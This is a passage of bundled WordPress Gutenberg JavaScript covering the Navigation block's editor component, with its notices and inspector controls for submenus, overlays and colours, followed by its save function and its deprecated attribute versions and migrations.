          (0, import_i18n141.__)(`Navigation Menu successfully created.`)
        );
      }
      if (createNavigationMenuIsError) {
        showNavigationMenuStatusNotice(
          (0, import_i18n141.__)(&quot;Failed to create Navigation Menu.&quot;)
        );
      }
    }, [
      createNavigationMenuStatus,
      createNavigationMenuError,
      createNavigationMenuPost?.id,
      createNavigationMenuIsError,
      createNavigationMenuIsSuccess,
      isCreatingNavigationMenu,
      handleUpdateMenu,
      hideNavigationMenuStatusNotice,
      showNavigationMenuStatusNotice
    ]);
    (0, import_element80.useEffect)(() =&gt; {
      hideClassicMenuConversionNotice();
      if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_PENDING) {
        (0, import_a11y3.speak)((0, import_i18n141.__)(&quot;Classic menu importing.&quot;));
      }
      if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_SUCCESS) {
        showClassicMenuConversionNotice(
          (0, import_i18n141.__)(&quot;Classic menu imported successfully.&quot;)
        );
        handleUpdateMenu(createNavigationMenuPost?.id, {
          focusNavigationBlock: true
        });
      }
      if (classicMenuConversionStatus === CLASSIC_MENU_CONVERSION_ERROR) {
        showClassicMenuConversionNotice(
          (0, import_i18n141.__)(&quot;Classic menu import failed.&quot;)
        );
      }
    }, [
      classicMenuConversionStatus,
      classicMenuConversionError,
      hideClassicMenuConversionNotice,
      showClassicMenuConversionNotice,
      createNavigationMenuPost?.id,
      handleUpdateMenu
    ]);
    (0, import_element80.useEffect)(() =&gt; {
      if (!isSelected &amp;&amp; !isInnerBlockSelected) {
        hideNavigationMenuPermissionsNotice();
      }
      if (isSelected || isInnerBlockSelected) {
        if (ref &amp;&amp; !navMenuResolvedButMissing &amp;&amp; hasResolvedCanUserUpdateNavigationMenu &amp;&amp; !canUserUpdateNavigationMenu) {
          showNavigationMenuPermissionsNotice(
            (0, import_i18n141.__)(
              &quot;You do not have permission to edit this Menu. Any changes made will not be saved.&quot;
            )
          );
        }
        if (!ref &amp;&amp; hasResolvedCanUserCreateNavigationMenus &amp;&amp; !canUserCreateNavigationMenus) {
          showNavigationMenuPermissionsNotice(
            (0, import_i18n141.__)(
              &quot;You do not have permission to create Navigation Menus.&quot;
            )
          );
        }
      }
    }, [
      isSelected,
      isInnerBlockSelected,
      canUserUpdateNavigationMenu,
      hasResolvedCanUserUpdateNavigationMenu,
      canUserCreateNavigationMenus,
      hasResolvedCanUserCreateNavigationMenus,
      ref,
      hideNavigationMenuPermissionsNotice,
      showNavigationMenuPermissionsNotice,
      navMenuResolvedButMissing
    ]);
    const hasManagePermissions = canUserCreateNavigationMenus || canUserUpdateNavigationMenu;
    const overlayMenuPreviewClasses = clsx_default(
      &quot;wp-block-navigation__overlay-menu-preview&quot;,
      { open: overlayMenuPreview }
    );
    const submenuAccessibilityNotice = !showSubmenuIcon &amp;&amp; submenuVisibility !== &quot;click&quot; &amp;&amp; submenuVisibility !== &quot;always&quot; ? (0, import_i18n141.__)(
      &#039;The current menu options offer reduced accessibility for users and are not recommended. Enabling either &quot;Open on Click&quot; or &quot;Show arrow&quot; offers enhanced accessibility by allowing keyboard users to browse submenus selectively.&#039;
    ) : &quot;&quot;;
    const isFirstRender = (0, import_element80.useRef)(true);
    (0, import_element80.useEffect)(() =&gt; {
      if (!isFirstRender.current &amp;&amp; submenuAccessibilityNotice) {
        (0, import_a11y3.speak)(submenuAccessibilityNotice);
      }
      isFirstRender.current = false;
    }, [submenuAccessibilityNotice]);
    const overlayMenuPreviewId = (0, import_compose35.useInstanceId)(
      OverlayMenuPreview,
      `overlay-menu-preview`
    );
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const stylingInspectorControls = /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.InspectorControls, { children: hasSubmenus &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        import_components93.__experimentalToolsPanel,
        {
          label: (0, import_i18n141.__)(&quot;Display&quot;),
          resetAll: () =&gt; {
            setAttributes({
              showSubmenuIcon: true,
              submenuVisibility: &quot;hover&quot;,
              overlayMenu: &quot;mobile&quot;,
              hasIcon: true,
              icon: &quot;handle&quot;
            });
          },
          dropdownMenuProps,
          children: hasSubmenus &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(&quot;h3&quot;, { className: &quot;wp-block-navigation__submenu-header&quot;, children: (0, import_i18n141.__)(&quot;Submenus&quot;) }),
            /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
              import_components93.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; submenuVisibility !== &quot;hover&quot;,
                label: (0, import_i18n141.__)(&quot;Submenu Visibility&quot;),
                onDeselect: () =&gt; setAttributes({
                  submenuVisibility: &quot;hover&quot;
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(
                  import_components93.__experimentalToggleGroupControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n141.__)(&quot;Submenu Visibility&quot;),
                    value: submenuVisibility,
                    onChange: (value) =&gt; {
                      const newAttributes = {
                        submenuVisibility: value
                      };
                      const prevSubmenuVisibility = submenuVisibility;
                      if (value === &quot;always&quot;) {
                        newAttributes.showSubmenuIcon = false;
                      } else if (value === &quot;click&quot; || prevSubmenuVisibility === &quot;always&quot;) {
                        newAttributes.showSubmenuIcon = true;
                      }
                      setAttributes(newAttributes);
                    },
                    isBlock: true,
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                        import_components93.__experimentalToggleGroupControlOption,
                        {
                          value: &quot;hover&quot;,
                          label: (0, import_i18n141.__)(&quot;Hover&quot;)
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                        import_components93.__experimentalToggleGroupControlOption,
                        {
                          value: &quot;click&quot;,
                          label: (0, import_i18n141.__)(&quot;Click&quot;)
                        }
                      ),
                      orientation === &quot;vertical&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                        import_components93.__experimentalToggleGroupControlOption,
                        {
                          value: &quot;always&quot;,
                          label: (0, import_i18n141.__)(&quot;Always&quot;)
                        }
                      )
                    ]
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
              import_components93.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !showSubmenuIcon,
                label: (0, import_i18n141.__)(&quot;Show arrow&quot;),
                onDeselect: () =&gt; setAttributes({
                  showSubmenuIcon: true
                }),
                isDisabled: submenuVisibility === &quot;click&quot; || submenuVisibility === &quot;always&quot;,
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                  import_components93.ToggleControl,
                  {
                    checked: showSubmenuIcon,
                    onChange: (value) =&gt; {
                      setAttributes({
                        showSubmenuIcon: value
                      });
                    },
                    disabled: submenuVisibility === &quot;click&quot; || submenuVisibility === &quot;always&quot;,
                    label: (0, import_i18n141.__)(&quot;Show arrow&quot;)
                  }
                )
              }
            ),
            submenuAccessibilityNotice &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
              import_components93.Notice,
              {
                spokenMessage: null,
                status: &quot;warning&quot;,
                isDismissible: false,
                className: &quot;wp-block-navigation__submenu-accessibility-notice&quot;,
                children: submenuAccessibilityNotice
              }
            )
          ] })
        }
      ) }),
      !isWithinOverlay &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        OverlayPanel,
        {
          overlayMenu,
          overlay,
          setAttributes,
          onNavigateToEntityRecord,
          overlayMenuPreview,
          setOverlayMenuPreview,
          hasIcon,
          icon: icon4,
          overlayMenuPreviewClasses,
          overlayMenuPreviewId,
          isResponsive,
          currentTheme,
          hasOverlays
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.InspectorControls, { group: &quot;color&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        ColorTools,
        {
          textColor,
          setTextColor,
          backgroundColor,
          setBackgroundColor,
          overlayTextColor,
          setOverlayTextColor,
          overlayBackgroundColor,
          setOverlayBackgroundColor,
          clientId,
          navRef,
          hasCustomOverlay: !!overlay
        }
      ) })
    ] });
    const accessibleDescriptionId = `${clientId}-desc`;
    const isHiddenByDefault = &quot;always&quot; === overlayMenu;
    const isManageMenusButtonDisabled = !hasManagePermissions || !hasResolvedNavigationMenus;
    if (hasUnsavedBlocks &amp;&amp; !isCreatingNavigationMenu) {
      return /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          menu_inspector_controls_default,
          {
            clientId,
            createNavigationMenuIsSuccess,
            createNavigationMenuIsError,
            currentMenuId: ref,
            isNavigationMenuMissing,
            isManageMenusButtonDisabled,
            onCreateNew: createUntitledEmptyNavigationMenu,
            onSelectClassicMenu,
            onSelectNavigationMenu,
            isLoading,
            blockEditingMode
          }
        ),
        blockEditingMode === &quot;default&quot; &amp;&amp; stylingInspectorControls,
        /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(
          TagName2,
          {
            ...blockProps,
            &quot;aria-describedby&quot;: !isPlaceholder ? accessibleDescriptionId : void 0,
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(AccessibleDescription, { id: accessibleDescriptionId, children: (0, import_i18n141.__)(&quot;Unsaved Navigation Menu.&quot;) }),
              /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                ResponsiveWrapper,
                {
                  id: clientId,
                  onToggle: setResponsiveMenuVisibility,
                  isOpen: isResponsiveMenuOpen,
                  hasIcon,
                  icon: icon4,
                  isResponsive,
                  isHiddenByDefault,
                  overlayBackgroundColor,
                  overlayTextColor,
                  overlay,
                  onNavigateToEntityRecord,
                  children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                    UnsavedInnerBlocks,
                    {
                      createNavigationMenu,
                      blocks: uncontrolledInnerBlocks,
                      hasSelection: isSelected || isInnerBlockSelected
                    }
                  )
                }
              )
            ]
          }
        )
      ] });
    }
    if (ref &amp;&amp; isNavigationMenuMissing) {
      return /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          menu_inspector_controls_default,
          {
            clientId,
            createNavigationMenuIsSuccess,
            createNavigationMenuIsError,
            currentMenuId: ref,
            isNavigationMenuMissing,
            isManageMenusButtonDisabled,
            onCreateNew: createUntitledEmptyNavigationMenu,
            onSelectClassicMenu,
            onSelectNavigationMenu,
            isLoading,
            blockEditingMode
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
          deleted_navigation_warning_default,
          {
            onCreateNew: createUntitledEmptyNavigationMenu
          }
        ) })
      ] });
    }
    if (isEntityAvailable &amp;&amp; hasAlreadyRendered) {
      return /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_block_editor157.Warning, { children: (0, import_i18n141.__)(&quot;Block cannot be rendered inside itself.&quot;) }) });
    }
    const PlaceholderComponent = CustomPlaceholder ? CustomPlaceholder : NavigationPlaceholder;
    if (isPlaceholder &amp;&amp; CustomPlaceholder) {
      return /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        PlaceholderComponent,
        {
          isSelected,
          currentMenuId: ref,
          clientId,
          canUserCreateNavigationMenus,
          isResolvingCanUserCreateNavigationMenus,
          onSelectNavigationMenu,
          onSelectClassicMenu,
          onCreateEmpty: createUntitledEmptyNavigationMenu
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
        menu_inspector_controls_default,
        {
          clientId,
          createNavigationMenuIsSuccess,
          createNavigationMenuIsError,
          currentMenuId: ref,
          isNavigationMenuMissing,
          isManageMenusButtonDisabled,
          onCreateNew: createUntitledEmptyNavigationMenu,
          onSelectClassicMenu,
          onSelectNavigationMenu,
          isLoading,
          blockEditingMode
        }
      ),
      blockEditingMode === &quot;default&quot; &amp;&amp; stylingInspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_core_data49.EntityProvider, { kind: &quot;postType&quot;, type: &quot;wp_navigation&quot;, id: ref, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_block_editor157.RecursionProvider, { uniqueId: recursionId, children: [
        blockEditingMode === &quot;contentOnly&quot; &amp;&amp; isEntityAvailable &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(NavigationAddPageButton, { clientId }),
        blockEditingMode === &quot;default&quot; &amp;&amp; isEntityAvailable &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_block_editor157.InspectorControls, { group: &quot;advanced&quot;, children: [
          hasResolvedCanUserUpdateNavigationMenu &amp;&amp; canUserUpdateNavigationMenu &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(NavigationMenuNameControl, {}),
          hasResolvedCanUserDeleteNavigationMenu &amp;&amp; canUserDeleteNavigationMenu &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
            NavigationMenuDeleteControl,
            {
              onDelete: () =&gt; {
                replaceInnerBlocks(clientId, []);
                showNavigationMenuStatusNotice(
                  (0, import_i18n141.__)(
                    &quot;Navigation Menu successfully deleted.&quot;
                  )
                );
              }
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
            manage_menus_button_default,
            {
              disabled: isManageMenusButtonDisabled,
              className: &quot;wp-block-navigation-manage-menus-button&quot;
            }
          )
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(
          TagName2,
          {
            ...blockProps,
            &quot;aria-describedby&quot;: !isPlaceholder &amp;&amp; !isLoading ? accessibleDescriptionId : void 0,
            children: [
              isLoading &amp;&amp; !isHiddenByDefault &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(&quot;div&quot;, { className: &quot;wp-block-navigation__loading-indicator-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_components93.Spinner, { className: &quot;wp-block-navigation__loading-indicator&quot; }) }),
              (!isLoading || isHiddenByDefault) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
                /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                  AccessibleMenuDescription,
                  {
                    id: accessibleDescriptionId
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                  ResponsiveWrapper,
                  {
                    id: clientId,
                    onToggle: setResponsiveMenuVisibility,
                    hasIcon,
                    icon: icon4,
                    isOpen: isResponsiveMenuOpen,
                    isResponsive,
                    isHiddenByDefault,
                    overlayBackgroundColor,
                    overlayTextColor,
                    overlay,
                    onNavigateToEntityRecord,
                    children: isEntityAvailable &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                      NavigationInnerBlocks,
                      {
                        clientId,
                        hasCustomPlaceholder: !!CustomPlaceholder,
                        templateLock,
                        orientation
                      }
                    )
                  }
                )
              ] })
            ]
          }
        )
      ] }) })
    ] });
  }
  var edit_default20 = (0, import_block_editor157.withColors)(
    { textColor: &quot;color&quot; },
    { backgroundColor: &quot;color&quot; },
    { overlayBackgroundColor: &quot;color&quot; },
    { overlayTextColor: &quot;color&quot; }
  )(Navigation);

  // packages/block-library/build-module/navigation/save.mjs
  var import_block_editor158 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime333 = __toESM(require_jsx_runtime(), 1);
  function save33({ attributes: attributes2 }) {
    if (attributes2.ref) {
      return;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime333.jsx)(import_block_editor158.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/navigation/deprecated.mjs
  var import_block_editor159 = __toESM(require_block_editor(), 1);
  var import_compose36 = __toESM(require_compose(), 1);
  var import_jsx_runtime334 = __toESM(require_jsx_runtime(), 1);
  var TYPOGRAPHY_PRESET_DEPRECATION_MAP = {
    fontStyle: &quot;var:preset|font-style|&quot;,
    fontWeight: &quot;var:preset|font-weight|&quot;,
    textDecoration: &quot;var:preset|text-decoration|&quot;,
    textTransform: &quot;var:preset|text-transform|&quot;
  };
  var migrateIdToRef = ({ navigationMenuId, ...attributes2 }) =&gt; {
    return {
      ...attributes2,
      ref: navigationMenuId
    };
  };
  var migrateWithLayout2 = (attributes2) =&gt; {
    if (!!attributes2.layout) {
      return attributes2;
    }
    const { itemsJustification, orientation, ...updatedAttributes } = attributes2;
    if (itemsJustification || orientation) {
      Object.assign(updatedAttributes, {
        layout: {
          type: &quot;flex&quot;,
          ...itemsJustification &amp;&amp; {
            justifyContent: itemsJustification
          },
          ...orientation &amp;&amp; { orientation }
        }
      });
    }
    return updatedAttributes;
  };
  var migrateOpenSubmenusOnClick = (attributes2) =&gt; {
    const { openSubmenusOnClick, ...restAttributes } = attributes2;
    if (openSubmenusOnClick === null || openSubmenusOnClick === void 0) {
      return attributes2;
    }
    return {
      ...restAttributes,
      submenuVisibility: restAttributes.submenuVisibility ?? (openSubmenusOnClick ? &quot;click&quot; : &quot;hover&quot;)
    };
  };
  var v75 = {
    attributes: {
      ref: {
        type: &quot;number&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      customTextColor: {
        type: &quot;string&quot;
      },
      rgbTextColor: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      customBackgroundColor: {
        type: &quot;string&quot;
      },
      rgbBackgroundColor: {
        type: &quot;string&quot;
      },
      showSubmenuIcon: {
        type: &quot;boolean&quot;,
        default: true
      },
      openSubmenusOnClick: {
        type: &quot;boolean&quot;,
        default: false
      },
      overlayMenu: {
        type: &quot;string&quot;,
        default: &quot;mobile&quot;
      },
      icon: {
        type: &quot;string&quot;,
        default: &quot;handle&quot;
      },
      hasIcon: {
        type: &quot;boolean&quot;,
        default: true
      },
      __unstableLocation: {
        type: &quot;string&quot;
      },
      overlayBackgroundColor: {
        type: &quot;string&quot;
      },
      customOverlayBackgroundColor: {
        type: &quot;string&quot;
      },
      overlayTextColor: {
        type: &quot;string&quot;
      },
      customOverlayTextColor: {
        type: &quot;string&quot;
      },
      maxNestingLevel: {
        type: &quot;number&quot;,
        default: 5
      },
      templateLock: {
        type: [&quot;string&quot;, &quot;boolean&quot;],
        enum: [&quot;all&quot;, &quot;insert&quot;, &quot;contentOnly&quot;, false]
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalLetterSpacing: true,
        __experimentalTextDecoration: true,
        __experimentalSkipSerialization: [&quot;textDecoration&quot;],
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        blockGap: true,
        units: [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vh&quot;, &quot;vw&quot;],
        __experimentalDefaultControls: {
          blockGap: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowVerticalAlignment: false,
        allowSizingOnChildren: true,
        default: {
          type: &quot;flex&quot;
        }
      },
      interactivity: true,
      renaming: false
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
    },
    isEligible: ({ openSubmenusOnClick }) =&gt; openSubmenusOnClick !== null &amp;&amp; openSubmenusOnClick !== void 0,
    migrate: migrateOpenSubmenusOnClick
  };
  var v66 = {
    attributes: {
      navigationMenuId: {
        type: &quot;number&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      customTextColor: {
        type: &quot;string&quot;
      },
      rgbTextColor: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      customBackgroundColor: {
        type: &quot;string&quot;
      },
      rgbBackgroundColor: {
        type: &quot;string&quot;
      },
      showSubmenuIcon: {
        type: &quot;boolean&quot;,
        default: true
      },
      overlayMenu: {
        type: &quot;string&quot;,
        default: &quot;mobile&quot;
      },
      __unstableLocation: {
        type: &quot;string&quot;
      },
      overlayBackgroundColor: {
        type: &quot;string&quot;
      },
      customOverlayBackgroundColor: {
        type: &quot;string&quot;
      },
      overlayTextColor: {
        type: &quot;string&quot;
      },
      customOverlayTextColor: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        blockGap: true,
        units: [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vh&quot;, &quot;vw&quot;],
        __experimentalDefaultControls: {
          blockGap: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        default: {
          type: &quot;flex&quot;
        }
      }
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
    },
    isEligible: ({ navigationMenuId }) =&gt; !!navigationMenuId,
    migrate: migrateIdToRef
  };
  var v56 = {
    attributes: {
      navigationMenuId: {
        type: &quot;number&quot;
      },
      orientation: {
        type: &quot;string&quot;,
        default: &quot;horizontal&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      customTextColor: {
        type: &quot;string&quot;
      },
      rgbTextColor: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      customBackgroundColor: {
        type: &quot;string&quot;
      },
      rgbBackgroundColor: {
        type: &quot;string&quot;
      },
      itemsJustification: {
        type: &quot;string&quot;
      },
      showSubmenuIcon: {
        type: &quot;boolean&quot;,
        default: true
      },
      openSubmenusOnClick: {
        type: &quot;boolean&quot;,
        default: false
      },
      overlayMenu: {
        type: &quot;string&quot;,
        default: &quot;never&quot;
      },
      __unstableLocation: {
        type: &quot;string&quot;
      },
      overlayBackgroundColor: {
        type: &quot;string&quot;
      },
      customOverlayBackgroundColor: {
        type: &quot;string&quot;
      },
      overlayTextColor: {
        type: &quot;string&quot;
      },
      customOverlayTextColor: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        blockGap: true,
        units: [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vh&quot;, &quot;vw&quot;],
        __experimentalDefaultControls: {
          blockGap: true
        }
      }
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
    },
    isEligible: ({ itemsJustification, orientation }) =&gt; !!itemsJustification || !!orientation,
    migrate: (0, import_compose36.compose)(
      migrateIdToRef,
      migrateWithLayout2,
      migrateOpenSubmenusOnClick
    )
  };
  var v46 = {
    attributes: {
      orientation: {
        type: &quot;string&quot;,
        default: &quot;horizontal&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      customTextColor: {
        type: &quot;string&quot;
      },
      rgbTextColor: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      customBackgroundColor: {
        type: &quot;string&quot;
      },
      rgbBackgroundColor: {
        type: &quot;string&quot;
      },
      itemsJustification: {
        type: &quot;string&quot;
      },
      showSubmenuIcon: {
        type: &quot;boolean&quot;,
        default: true
      },
      openSubmenusOnClick: {
        type: &quot;boolean&quot;,
        default: false
      },
      overlayMenu: {
        type: &quot;string&quot;,
        default: &quot;never&quot;
      },
      __unstableLocation: {
        type: &quot;string&quot;
      },
      overlayBackgroundColor: {
        type: &quot;string&quot;
      },
      customOverlayBackgroundColor: {
        type: &quot;string&quot;
      },
      overlayTextColor: {
        type: &quot;string&quot;
      },
      customOverlayTextColor: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true
      },
      spacing: {
        blockGap: true,
        units: [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vh&quot;, &quot;vw&quot;],
        __experimentalDefaultControls: {
          blockGap: true
        }
      }
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
    },
    migrate: (0, import_compose36.compose)(
      migrateIdToRef,
      migrateWithLayout2,
      migrate_font_family_default,
      migrateOpenSubmenusOnClick
    ),
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var migrateIsResponsive = function(attributes2) {
    delete attributes2.isResponsive;
    return {
      ...attributes2,
      overlayMenu: &quot;mobile&quot;
    };
  };
  var migrateTypographyPresets = function(attributes2) {
    return {
      ...attributes2,
      style: {
        ...attributes2.style,
        typography: Object.fromEntries(
          Object.entries(attributes2.style.typography ?? {}).map(
            ([key, value]) =&gt; {
              const prefix = TYPOGRAPHY_PRESET_DEPRECATION_MAP[key];
              if (prefix &amp;&amp; value.startsWith(prefix)) {
                const newValue = value.slice(prefix.length);
                if (&quot;textDecoration&quot; === key &amp;&amp; &quot;strikethrough&quot; === newValue) {
                  return [key, &quot;line-through&quot;];
                }
                return [key, newValue];
              }
              return [key, value];
            }
          )
        )
      }
    };
  };
  var deprecated11 = [
    v75,
    v66,
    v56,
    v46,
    // Remove `isResponsive` attribute.
    {
      attributes: {
        orientation: {
          type: &quot;string&quot;,
          default: &quot;horizontal&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        customTextColor: {
          type: &quot;string&quot;
        },
        rgbTextColor: {
          type: &quot;string&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        rgbBackgroundColor: {
          type: &quot;string&quot;
        },
        itemsJustification: {
          type: &quot;string&quot;
        },
        showSubmenuIcon: {
          type: &quot;boolean&quot;,
          default: true
        },
        openSubmenusOnClick: {
          type: &quot;boolean&quot;,
          default: false
        },
        isResponsive: {
          type: &quot;boolean&quot;,
          default: &quot;false&quot;
        },
        __unstableLocation: {
          type: &quot;string&quot;
        },
        overlayBackgroundColor: {
          type: &quot;string&quot;
        },
        customOverlayBackgroundColor: {
          type: &quot;string&quot;
        },
        overlayTextColor: {
          type: &quot;string&quot;
        },
        customOverlayTextColor: {
          type: &quot;string&quot;
        }
      },
      supports: {
        align: [&quot;wide&quot;, &quot;full&quot;],
        anchor: true,
        html: false,
        inserter: true,
        typography: {
          fontSize: true,
          lineHeight: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true,
          __experimentalTextTransform: true,
          __experimentalFontFamily: true,
          __experimentalTextDecoration: true
        }
      },
      isEligible(attributes2) {
        return attributes2.isResponsive;
      },
      migrate: (0, import_compose36.compose)(
        migrateIdToRef,
        migrateWithLayout2,
        migrate_font_family_default,
        migrateIsResponsive,
        migrateOpenSubmenusOnClick
      ),
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
      }
    },
    {
      attributes: {
        orientation: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        customTextColor: {
          type: &quot;string&quot;
        },
        rgbTextColor: {
          type: &quot;string&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        rgbBackgroundColor: {
          type: &quot;string&quot;
        },
        itemsJustification: {
          type: &quot;string&quot;
        },
        showSubmenuIcon: {
          type: &quot;boolean&quot;,
          default: true
        }
      },
      supports: {
        align: [&quot;wide&quot;, &quot;full&quot;],
        anchor: true,
        html: false,
        inserter: true,
        fontSize: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        color: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true
      },
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
      },
      isEligible(attributes2) {
        if (!attributes2.style || !attributes2.style.typography) {
          return false;
        }
        for (const styleAttribute in TYPOGRAPHY_PRESET_DEPRECATION_MAP) {
          const attributeValue = attributes2.style.typography[styleAttribute];
          if (attributeValue &amp;&amp; attributeValue.startsWith(
            TYPOGRAPHY_PRESET_DEPRECATION_MAP[styleAttribute]
          )) {
            return true;
          }
        }
        return false;
      },
      migrate: (0, import_compose36.compose)(
